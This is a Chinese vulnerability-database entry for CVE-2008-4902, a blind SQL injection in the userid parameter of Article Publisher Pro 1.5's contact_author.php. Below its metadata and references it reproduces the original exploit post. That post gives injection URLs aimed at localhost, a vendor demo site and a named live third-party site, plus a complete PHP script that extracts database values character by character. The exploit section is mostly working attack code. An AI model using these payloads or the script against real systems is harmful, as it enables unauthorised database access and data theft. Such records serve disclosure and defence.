Scripts Frenzy Article Publisher Pro 'contact_author.php'SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116545 漏洞类型 SQL注入
发布时间 2008-10-31 更新时间 2008-11-03
CVE编号 CVE-2008-4902 CNNVD-ID CNNVD-200811-043
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6917
https://www.securityfocus.com/bid/80831
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200811-043
|漏洞详情
ArticlePublisherPro是一个以文章和新闻剪报内容为对象网站内容管理系统。ArticlePublisherPro1.5版本中的contact_author.php存在SQL注入漏洞。远程攻击者可以借助用户id参数,执行任意的SQL指令。
|漏洞EXP
###########################################################################
# Kira has decide be back after halloween
###########################################################################
# Discovered by : Mountassif Moad
# Type Gap : Blind Sql Injection
# Script : Article Publisher Pro : http://www.phparticlescript.com/
# Greetz : Allah , All my freind
##########################################################################

P0c :

http://localhost/contact_author.php?userid=1+and+1=1   true

http://localhost/contact_author.php?userid=1+and+1=0   false

http://demo-article-publisher-pro.phparticlescript.com/contact_author.php?userid=1+and+1=1   true

http://demo-article-publisher-pro.phparticlescript.com/contact_author.php?userid=1+and+1=0   false

Exploit :

http://localhost/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=4   true

http://localhost/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=5   false

Demo Test :

http://fashiongumbo.com/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=4  true

http://fashiongumbo.com/contact_author.php?userid=1+and+1=1+and+substring(@@version,1,1)=5  false

code Exploit :

<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
#      Article Publisher Pro - Blind SQL Injection Exploit    
#
###############################################################
#                                                            
#      Dork:        N/A
#      Usage:       php '.$argv[0].' [Target] [data]
#      Live Demo :
#      =>php '.$argv[0].' http://localhost/contact_author.php?userid=1 user()
#                                                            
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."'+and+1=0"));
$t = abs((100-($w/$r*100)));
echo "\n".$argv[2].": ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$i.",1))!=0"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((".$argv[2]."),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}

} else {
echo "\nExploiting failed: ar u sur your link have a real id user \n";
}
?>

# milw0rm.com [2008-10-31]
|受影响的产品
Scripts Frenzy Article Publisher Pro 1.5
|参考资料

来源:XF
名称:articlepublisherpro-userid-sql-injection(46266)
链接:http://xforce.iss.net/xforce/xfdb/46266
来源:SECUNIA
名称:32519
链接:http://secunia.com/advisories/32519
来源:MILW0RM
名称:6917
链接:http://milw0rm.com/exploits/6917